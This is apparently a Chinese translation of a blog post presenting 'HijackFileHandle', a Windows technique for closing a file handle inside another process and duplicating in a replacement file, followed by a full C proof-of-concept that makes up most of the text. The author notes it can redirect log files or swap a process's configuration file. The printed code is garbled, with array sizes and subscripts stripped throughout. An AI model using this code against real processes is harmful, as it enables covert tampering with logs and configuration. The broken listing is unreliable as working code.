HijackFileHandle - 在不注入代码的情况下劫持一个远程进程的文件
翻译原文地址:https://www.x86matthew.com/view_post?id=hijack_file_handle
这篇文章介绍了我前段时间开发的一项技术,它允许在远程进程中操纵文件句柄,而不需要依赖代码注入。
这个方法利用了Windows重新使用句柄索引的事实。当一个句柄被关闭时,在该进程中创建的下一个句柄将重新使用先前的句柄索引。这个事实是众所周知的,所以我相信其他人也会想出类似的想法。
这主要用于将一个日志文件(或任何其他输出文件)重定向到一个不同的位置,但通过一些小的代码修改,它有可能被用来替换目标进程中的一个配置文件。这适用于任何使用持久化文件句柄的软件。
我们可以通过以下步骤来利用这一机制:
1. 创建一个新的输出文件——目标句柄将被重定向到这里。
2. 使用NtSuspendProcess暂停目标进程。
3. 使用NtQuerySystemInformation循环浏览目标进程中的所有句柄。
4. .通过检查ObjectTypeIndex值忽略任何非文件句柄。我已经写了一个函数来计算文件句柄的正确ObjectTypeIndex。
5. 使用NtQueryInformationFile与FileNameInformation在远程进程中找到目标文件句柄,以检索文件路径。这里需要一些技巧来避免死锁。
6. 使用带有DUPLICATE_CLOSE_SOURCE标志的DuplicateHandle关闭远程进程中的目标文件句柄。
7. 使用DuplicateHandle将新的输出文件(来自步骤#1)复制到目标进程中。确认复制的句柄与原始目标句柄相匹配。
8. 使用NtResumeProcess恢复目标进程。
我的概念验证程序采取以下参数:
HijackFileHandle.exe <target_pid> <target_file_name> <new_file_path>
为了演示这个概念,我们将执行ping 8.8.8.8 -t > output.txt来启动一个无法计量的ping,并写入output.txt。
在第二个命令窗口中,我们可以执行以下命令。
HijackFileHandle.exe 1234 output.txt hijacked.txt
(用ping.exe的进程ID替换1234)
这将搜索目标进程中与 "output.txt "相关的任何文件句柄,并以透明方式将它们替换为 "hijacked.txt "的新句柄。
完整代码如下:
#include <stdio.h>
#include <windows.h>
#define SystemExtendedHandleInformation 64
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define FileNameInformation 9
#define PROCESS_SUSPEND_RESUME 0x800
struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
ULONG Object;
ULONG UniqueProcessId;
ULONG HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
};
struct SYSTEM_HANDLE_INFORMATION_EX
{
ULONG NumberOfHandles;
ULONG Reserved;
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleList;
};
struct FILE_NAME_INFORMATION
{
ULONG FileNameLength;
WCHAR FileName;
};
struct IO_STATUS_BLOCK
{
union
{
DWORD Status;
PVOID Pointer;
};
DWORD *Information;
};
struct GetFileHandlePathThreadParamStruct
{
HANDLE hFile;
char szPath;
};
DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
DWORD (WINAPI *NtQueryInformationFile)(HANDLE FileHandle, void *IoStatusBlock, PVOID FileInformation, ULONG Length, DWORD FileInformationClass);
DWORD (WINAPI *NtSuspendProcess)(HANDLE Process);
DWORD (WINAPI *NtResumeProcess)(HANDLE Process);
SYSTEM_HANDLE_INFORMATION_EX *pGlobal_SystemHandleInfo = NULL;
DWORD dwGlobal_DebugObjectType = 0;
DWORD GetSystemHandleList()
{
DWORD dwAllocSize = 0;
DWORD dwStatus = 0;
DWORD dwLength = 0;
BYTE *pSystemHandleInfoBuffer = NULL;
// free previous handle info list (if one exists)
if(pGlobal_SystemHandleInfo != NULL)
{
free(pGlobal_SystemHandleInfo);
}
// get system handle list
dwAllocSize = 0;
for(;;)
{
if(pSystemHandleInfoBuffer != NULL)
{
// free previous inadequately sized buffer
free(pSystemHandleInfoBuffer);
pSystemHandleInfoBuffer = NULL;
}
if(dwAllocSize != 0)
{
// allocate new buffer
pSystemHandleInfoBuffer = (BYTE*)malloc(dwAllocSize);
if(pSystemHandleInfoBuffer == NULL)
{
return 1;
}
}
// get system handle list
dwStatus = NtQuerySystemInformation(SystemExtendedHandleInformation, (void*)pSystemHandleInfoBuffer, dwAllocSize, &dwLength);
if(dwStatus == 0)
{
// success
break;
}
else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)
{
// not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional handles created between checks)
dwAllocSize = (dwLength + 1024);
}
else
{
// other error
free(pSystemHandleInfoBuffer);
return 1;
}
}
// store handle info ptr
pGlobal_SystemHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX*)pSystemHandleInfoBuffer;
return 0;
}
DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType)
{
HANDLE hFile = NULL;
char szPath;
DWORD dwFound = 0;
DWORD dwFileHandleObjectType = 0;
// get the file path of the current exe
memset(szPath, 0, sizeof(szPath));
if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0)
{
return 1;
}
// open the current exe
hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
return 1;
}
// take a snapshot of the system handle list
if(GetSystemHandleList() != 0)
{
return 1;
}
// close the temporary file handle
CloseHandle(hFile);
// find the temporary file handle in the previous snapshot
for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++)
{
// check if the process ID is correct
if(pGlobal_SystemHandleInfo->HandleList.UniqueProcessId == GetCurrentProcessId())
{
// check if the handle index is correct
if(pGlobal_SystemHandleInfo->HandleList.HandleValue == (DWORD)hFile)
{
// store the file handle object type index
dwFileHandleObjectType = pGlobal_SystemHandleInfo->HandleList.ObjectTypeIndex;
dwFound = 1;
break;
}
}
}
// ensure the file handle object type was found
if(dwFound == 0)
{
return 1;
}
// store object type
*pdwFileHandleObjectType = dwFileHandleObjectType;
return 0;
}
DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg)
{
BYTE bFileInfoBuffer;
IO_STATUS_BLOCK IoStatusBlock;
GetFileHandlePathThreadParamStruct *pGetFileHandlePathThreadParam = NULL;
FILE_NAME_INFORMATION *pFileNameInfo = NULL;
// get param
pGetFileHandlePathThreadParam = (GetFileHandlePathThreadParamStruct*)lpArg;
// get file path from handle
memset((void*)&IoStatusBlock, 0, sizeof(IoStatusBlock));
memset(bFileInfoBuffer, 0, sizeof(bFileInfoBuffer));
if(NtQueryInformationFile(pGetFileHandlePathThreadParam->hFile, &IoStatusBlock, bFileInfoBuffer, sizeof(bFileInfoBuffer), FileNameInformation) != 0)
{
return 1;
}
// get FILE_NAME_INFORMATION ptr
pFileNameInfo = (FILE_NAME_INFORMATION*)bFileInfoBuffer;
// validate filename length
if(pFileNameInfo->FileNameLength >= sizeof(pGetFileHandlePathThreadParam->szPath))
{
return 1;
}
// convert file path to ansi string
wcstombs(pGetFileHandlePathThreadParam->szPath, pFileNameInfo->FileName, sizeof(pGetFileHandlePathThreadParam->szPath) - 1);
return 0;
}
DWORD ReplaceFileHandle(HANDLE hTargetProcess, HANDLE hExistingRemoteHandle, HANDLE hReplaceLocalHandle)
{
HANDLE hClonedFileHandle = NULL;
HANDLE hRemoteReplacedHandle = NULL;
// close remote file handle
if(DuplicateHandle(hTargetProcess, hExistingRemoteHandle, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS) == 0)
{
return 1;
}
// close cloned file handle
CloseHandle(hClonedFileHandle);
// duplicate local file handle into remote process
if(DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, &hRemoteReplacedHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)
{
return 1;
}
// ensure that the new remote handle matches the original value
if(hRemoteReplacedHandle != hExistingRemoteHandle)
{
return 1;
}
return 0;
}
DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName, HANDLE hReplaceLocalHandle)
{
HANDLE hProcess = NULL;
HANDLE hClonedFileHandle = NULL;
DWORD dwFileHandleObjectType = 0;
DWORD dwThreadExitCode = 0;
DWORD dwThreadID = 0;
HANDLE hThread = NULL;
GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam;
char *pLastSlash = NULL;
DWORD dwHijackCount = 0;
// calculate the object type index for file handles on this system
if(GetFileHandleObjectType(&dwFileHandleObjectType) != 0)
{
return 1;
}
printf("Opening process: %u...\n", dwTargetPID);
// open target process
hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, 0, dwTargetPID);
if(hProcess == NULL)
{
return 1;
}
// suspend target process
if(NtSuspendProcess(hProcess) != 0)
{
CloseHandle(hProcess);
return 1;
}
// get system handle list
if(GetSystemHandleList() != 0)
{
NtResumeProcess(hProcess);
CloseHandle(hProcess);
return 1;
}
for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++)
{
// ensure this handle is a file handle object
if(pGlobal_SystemHandleInfo->HandleList.ObjectTypeIndex != dwFileHandleObjectType)
{
continue;
}
// ensure this handle is in the target process
if(pGlobal_SystemHandleInfo->HandleList.UniqueProcessId != dwTargetPID)
{
continue;
}
// clone file handle
if(DuplicateHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList.HandleValue, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)
{
continue;
}
// get the file path of the current handle - do this in a new thread to prevent deadlocks
memset((void*)&GetFileHandlePathThreadParam, 0, sizeof(GetFileHandlePathThreadParam));
GetFileHandlePathThreadParam.hFile = hClonedFileHandle;
hThread = CreateThread(NULL, 0, GetFileHandlePathThread, (void*)&GetFileHandlePathThreadParam, 0, &dwThreadID);
if(hThread == NULL)
{
CloseHandle(hClonedFileHandle);
continue;
}
// wait for thread to finish (1 second timeout)
if(WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0)
{
// time-out - kill thread
TerminateThread(hThread, 1);
CloseHandle(hThread);
CloseHandle(hClonedFileHandle);
continue;
}
// close cloned file handle
CloseHandle(hClonedFileHandle);
// check exit code of temporary thread
GetExitCodeThread(hThread, &dwThreadExitCode);
if(dwThreadExitCode != 0)
{
// failed
CloseHandle(hThread);
continue;
}
// close thread handle
CloseHandle(hThread);
// get last slash in path
pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\\');
if(pLastSlash == NULL)
{
continue;
}
// check if this is the target filename
pLastSlash++;
if(stricmp(pLastSlash, pTargetFileName) != 0)
{
continue;
}
// found matching filename
printf("Found remote file handle: \"%s\" (Handle ID: 0x%X)\n", GetFileHandlePathThreadParam.szPath, pGlobal_SystemHandleInfo->HandleList.HandleValue);
dwHijackCount++;
// replace the remote file handle
if(ReplaceFileHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList.HandleValue, hReplaceLocalHandle) == 0)
{
// handle replaced successfully
printf("Remote file handle hijacked successfully\n\n");
}
else
{
// failed to hijack handle
printf("Failed to hijack remote file handle\n\n");
}
}
// resume process
if(NtResumeProcess(hProcess) != 0)
{
CloseHandle(hProcess);
return 1;
}
// clean up
CloseHandle(hProcess);
// ensure at least one matching file handle was found
if(dwHijackCount == 0)
{
printf("No matching file handles found\n");
return 1;
}
return 0;
}
DWORD GetNtdllFunctions()
{
// get NtQueryInformationFile ptr
NtQueryInformationFile = (unsigned long (__stdcall *)(void *,void *,void *,unsigned long,unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationFile");
if(NtQueryInformationFile == NULL)
{
return 1;
}
// get NtQuerySystemInformation ptr
NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if(NtQuerySystemInformation == NULL)
{
return 1;
}
// get NtSuspendProcess ptr
NtSuspendProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess");
if(NtSuspendProcess == NULL)
{
return 1;
}
// get NtResumeProcess ptr
NtResumeProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtResumeProcess");
if(NtResumeProcess == NULL)
{
return 1;
}
return 0;
}
int main(int argc, char *argv[])
{
DWORD dwPID = 0;
char *pTargetFileName = NULL;
char *pNewFilePath = NULL;
HANDLE hFile = NULL;
printf("HijackFileHandle - www.x86matthew.com\n\n");
if(argc != 4)
{
printf("%s <target_pid> <target_file_name> <new_file_path>\n\n", argv);
return 1;
}
// get params
dwPID = atoi(argv);
pTargetFileName = argv;
pNewFilePath = argv;
// get ntdll function ptrs
if(GetNtdllFunctions() != 0)
{
return 1;
}
// create new output file
hFile = CreateFile(pNewFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
printf("Failed to create file\n");
return 1;
}
// hijack file handle in target process
if(HijackFileHandle(dwPID, pTargetFileName, hFile) != 0)
{
printf("Error\n");
// error - delete output file
CloseHandle(hFile);
DeleteFile(pNewFilePath);
return 1;
}
// close local file handle
CloseHandle(hFile);
printf("Finished\n");
return 0;
}
页:
[1]